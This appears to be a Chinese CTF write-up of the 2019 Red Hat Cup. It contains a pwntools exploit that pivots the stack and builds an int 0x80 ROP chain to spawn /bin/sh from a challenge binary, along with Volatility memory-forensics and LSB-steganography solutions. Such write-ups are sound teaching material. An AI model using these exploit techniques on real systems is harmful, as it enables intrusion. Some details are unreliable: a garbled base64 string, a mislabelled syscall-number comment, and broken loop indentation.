

2019年第三届红帽杯线上赛wp

原创

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PWN

three

IDA打开之后, 函数名都是 `sub_xxx`, 然后通过nc官方部署的程序 (或本地在程序所在目录创建flag文件后), 获得程序中会出现的字符串定位到了重要函数, 我用的是字符串 `Maybe is good`。

贴出来一下重要函数对应的内存地址:

函数名 (已重命名)	内存地址
main	0x08048CA8
load_flag	0x080488C5
Maybe_is_good	0x0804897E
main_method	0x08048B5C

四者结构如图:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     load_flag();
4     Maybe_is_good();
5     main_method();
6     return 0;
7 }
```

`load_flag` 里面需要加载flag文件, 如果没有就exit, 也就是一开始无法本地打开原因。

```
7 sub_8050890((unsigned int *)off_80F5434[0], 0, 2, 0)
8 v1 = (int *)sub_80505B0("./flag", &unk_80C4788);
9 if ( !v1 )
10     exit(0);
11 sub_80505D0((int)&unk_80F6CA0, 1u, 32, v1);
12 sub_8050100(v1);
```

`Maybe_is_good` 里面没有特别的, 关键在`main_method`, 先贴出完整代码 (以重名部分函数&注释)

```

1 int sub_8048B5C()
2 {
3     int result; // eax
4     int v1; // [esp+Ch] [ebp-1Ch]
5     int v2; // [esp+10h] [ebp-18h]
6     void *v3; // [esp+14h] [ebp-14h]
7     int v4; // [esp+18h] [ebp-10h]
8     unsigned int v5; // [esp+1Ch] [ebp-Ch]
9
10    v5 = __readgsdword(0x14u);
11    puts(0x80C47A2); // printf("Give me a index:");
12    v2 = input_index(list_1[0]);
13    v3 = (void *)sub_8071C50(0, 0x1000u, 7, 34, 0, 0);
14    puts((int)"Three is good number,I like it very much!");
15    read(0, v3, 3u);
16    puts((int)"Leave you name of size:");
17    input("%d", &v1);
18    if ( v1 < 0 || v1 > 512 )
19        exit(0);
20    puts((int)"Tell me:");
21    read(0, &unk_80F6CC0, v1 - 1);
22    v4 = ((int)(__cdecl*)(signed int))v3(1); // call eax
23                                           // xchg ecx, esp
24                                           // ret
25
26    if ( v2 == v4 )
27        result = puts((int)"1");
28    else
29        result = puts((int)"2");
30    if ( __readgsdword(0x14u) != v5 )
31        sub_8073110();
32    return result;
33}

```

gdb调试：‘very much’后输入‘aaa’，‘tell me’后输入‘bbbbbbbbbb……’。可以看到eax被写入了‘aaa’，ecx被写入了‘bbbbbbbbbb……’

```

Breakpoint 1, 0x08048c5b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
EAX 0xf7ff8000 ← popal /* 0x616161; 'aaa' */
EBX 0x80f4f74 ← 0x0
ECX 0x80f6cc0 ← 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
EDX 0x1ff
EDI 0x80481b8 ← push ebx
ESI 0x80f4f74 ← 0x0
EBP 0xffffcf38 → 0xffffcf48 ← 0x0
ESP 0xffffcf00 ← 0x1
EIP 0x8048c5b ← call eax
[ DISASM ]
► 0x8048c5b call eax
0x8048c5d add esp, 0x10

```

然后就是第22行代码，看不懂就查汇编，对应的汇编是 `call eax`。就是当eax是函数来调用。结合前面的eax会被覆写为输入值，就可以进行ROP。

攻击大致流程如下：

1. eax被覆写为payload1
2. 写入payload2
3. call eax
4. int80_call

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn')
# 'Ldd ./pwn' get libc.so
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh = process('./pwn')
sh.sendlineafter('index:\n', str(0)) # 0<=x<=31

payload = asm('''
xchg ecx, esp
ret
''', arch = 'i386')
sh.sendafter(' much!\n', payload)

sh.sendlineafter('size:\n', str(512)) # 0<=x<=512,x>payLoad

# ROPgadget
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret;
    0,
    0,
    0x80f6d40, # '/bin/sh\0' address
    0x080c11e6, #: pop eax; ret;
    11, # Len '/bin/sh\0'
    0x080738c0, #: int 0x80; ret;
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()
```

EXP解释

- 13、21行两个数值可在注释范围内调整
- payload是交换ecx、esp两个寄存器的值
- layout里面是gadget，向int_80传参
- int_80的作用类似于system，具体看这里
 - <https://blog.csdn.net/fivedoumi/article/details/53184797>
 - <https://blog.csdn.net/maowenl/article/details/32309683>
 - <https://www.cnblogs.com/caesarxu/p/3261232.html>

最后：官方wp解法是交换ecx、esp的内容之后，利用返回值是 1 还是 2，来逐个字节爆破得出flag。

Mics

Advertising for Marriage

内存取证题目。题目给出的是raw文件，这个文件不是图片的那个raw。。。初次之外内存取证还有dmg文件。利用的分析工具最主要是volatility。

首先查看镜像信息: `volatility -f Advertising\ for\ Marriage.raw imageinfo`

```
root@kali:~/ratctf# volatility -f 1.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/ratctf/1.raw)
PAE type : PAE
DTB : 0xaf9000L
KDBG : 0x80545ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdff000L
Image date and time : 2019-10-31 07:15:35 UTC+0000
```

使用 WinXPSP2x86 预设。然后就是查进程: `volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 pslist`

0x81e6d460	vmtoolsd.exe	1684	1596	5	211	0	0	2019-10-31 07:12:58 UTC+0000
0x81f3e020	ctfmon.exe	1692	1596	1	87	0	0	2019-10-31 07:12:58 UTC+0000
0x81914020	VGAuthService.e	2040	668	2	61	0	0	2019-10-31 07:13:15 UTC+0000
0x81f31500	vmtoolsd.exe	200	668	8	234	0	0	2019-10-31 07:13:15 UTC+0000
0x81f02130	wmiprvse.exe	580	844	12	230	0	0	2019-10-31 07:13:24 UTC+0000
0x81f19610	alg.exe	1384	668	7	103	0	0	2019-10-31 07:13:25 UTC+0000
0x818e96b0	wscntfy.exe	336	1024	1	38	0	0	2019-10-31 07:13:26 UTC+0000
0x818f7980	notepad.exe	1056	1596	1	50	0	0	2019-10-31 07:13:35 UTC+0000
0x81f22da0	wuauclt.exe	1332	1024	8	173	0	0	2019-10-31 07:14:09 UTC+0000
0x820af020	mspaint.exe	332	1596	6	114	0	0	2019-10-31 07:14:27 UTC+0000
0x818e51c0	svchost.exe	1128	668	9	134	0	0	2019-10-31 07:14:27 UTC+0000
0x81f14020	wpabaln.exe	248	552	1	66	0	0	2019-10-31 07:14:59 UTC+0000

存在记事本进程，查一查有什么: `volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 notepad`


```
root@kali:~/ratctf# volatility -f 1.raw --profile=WinXPSP2x86 notepad
Volatility Foundation Volatility Framework 2.6
Process: 1056
Text:
?
Text:
d
Text:
Text:
?
Text:
hint:???needmoneyandgirlfirend
```

提示: `hint:???needmoneyandgirlfirend`

扫描所有png文件: `volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 filescan|grep png`

```
root@kali:~/ratctf# volatility -f 1.raw --profile=WinXPSP2x86 filescan|grep png
Volatility Foundation Volatility Framework 2.6
0x000000000249ae78 1 0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\vegetable.
png
```

找到一张 png 图片: `vegetable.png`。导出图片: `volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x000000000249ae78`



图片无法显示, 报错: `IHDR: CRC ERROR`。

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度，并且生成修复后的图片。

```
import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()
```

用 [Stegsolve](#) 查看图片，找到模糊的 `flag`，一般情况较难恢复。同时，也发现 `lsb` 有点东西。

The screenshot shows the Stegsolve application interface. At the top, there is a hex dump of the image data. Below the hex dump, there are several control panels:

- Bit Planes:** A grid of checkboxes for each color channel (Alpha, Red, Green, Blue) and bit plane (0-7). The checkboxes for bit plane 0 are checked for Red, Green, and Blue.
- Order settings:** Radio buttons for 'Extract By' (Row selected, Column unselected), 'Bit Order' (MSB First unselected, LSB First selected), and 'Bit Plane Order' (RGB selected, GRB unselected, RBG unselected, BRG unselected, GBR unselected, BGR unselected).
- Preview Settings:** A checkbox for 'Include Hex Dump In Preview' which is checked.

解密需要密钥，密钥为上面记事本找到的提示：`???needmoneyandgirlfirend`，需要魔改工具爆破前 4 字节。

爆破得到密钥 `b1cxneedmoneyandgirlfirend`，这里给出自己写的破解脚本，需要把 `lsb` 加密库 `clone` 下载，然后把脚本丢里面运行

```

#coding:utf-8
import os
import string

# creat password
password = []
pd_element = list(string.ascii_letters) + list(string.digits)
for i in pd_element:
    if i != 'b':
        continue
for j in pd_element:
    #if j != '1':
    #continue
    for k in pd_element:
        for m in pd_element:
            password.append(i+j+k+m+"needmoneyandgirlfirend")
            #pd = i+j+k+m+"needmoneyandgirlfirend"
            #print "password = %s " %pd

n = 0
file_name = '2.png' # 解密图片
out_file_1 = 'out.txt' # lsb中间文件
out_file_2 = 'result.txt' # result结果记录文件
for pd in password:
    out_data_2 = open(out_file_2, 'a')
    pd = 'b1cxneedmoneyandgirlfirend'
    try:
        print "total try {} times\ntrying: {}".format(n,pd)
        argv = r'python lsb.py extract ' + file_name + ' ' + out_file_1 + ' ' + pd
        lsb = os.popen(argv, 'r')
        data = lsb.read()
        lsb.close()
        print "{} SUCCESS".format(pd)
        out_data_1 = open(out_file_1, 'r')
        data = out_data_1.read().strip('\n')
        out_data_2.write(data+'\n')
        n += 1
        break
    except:
        print "{} ERROR".format(pd)
        n += 1
out_data_2.close()

```

解密图片隐写信息，得到字符串：`VmlyZ2lualWEGy2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==`。

`base64` 解码得到：`Virginia ciphertext:gnxtmwg7r1417psedbs62587h0`。

然后再使用在线维吉尼亚密码解密：密钥 `b1cxneedmoneyandgirlfirend`

解密得到：`flagisd7f1417bfafbf62587e0`。